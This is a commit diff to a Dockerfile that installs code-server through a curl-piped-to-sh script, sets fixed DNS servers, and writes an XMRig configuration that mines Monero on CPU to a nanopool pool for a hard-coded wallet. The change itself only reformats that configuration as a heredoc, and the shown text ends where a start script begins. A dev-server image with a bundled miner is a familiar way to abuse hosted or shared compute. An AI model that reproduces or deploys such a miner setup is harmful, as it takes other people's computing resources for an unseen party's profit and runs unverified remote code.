Update Dockerfile

Dockerfile

@@ -22,22 +22,24 @@ RUN curl -fsSL https://code-server.dev/install.sh | sh
 RUN echo "nameserver 1.1.1.1" > /etc/resolv.conf \
     && echo "nameserver 1.0.0.1" >> /etc/resolv.conf
 
-# Create XMRig configuration file
+# Create XMRig configuration file using a heredoc
 RUN mkdir -p /xmrig-6.22.0 \
-    && echo '{
-        "autosave": true,
-        "cpu": true,
-        "opencl": false,
-        "cuda": false,
-        "pools": [
-            {
-                "coin": "monero",
-                "url": "xmr-asia1.nanopool.org:14433",
-                "user": "48b34XQDp2d9d1neAiriFs4UHomjcDwmuUWPNMBNhwLh8yqG7TXyUjcXxXzJdWL8JcH4kSPeZYKNpPm2GATm6N5SUEU1HTi",
-                "tls": true
-            }
-        ]
-    }' > /xmrig-6.22.0/config.json
+    && tee /xmrig-6.22.0/config.json > /dev/null <<EOF
+{
+    "autosave": true,
+    "cpu": true,
+    "opencl": false,
+    "cuda": false,
+    "pools": [
+        {
+            "coin": "monero",
+            "url": "xmr-asia1.nanopool.org:14433",
+            "user": "48b34XQDp2d9d1neAiriFs4UHomjcDwmuUWPNMBNhwLh8yqG7TXyUjcXxXzJdWL8JcH4kSPeZYKNpPm2GATm6N5SUEU1HTi",
+            "tls": true
+        }
+    ]
+}
+EOF
 
 # Create and set up the start script
 RUN echo '#!/bin/bash\n\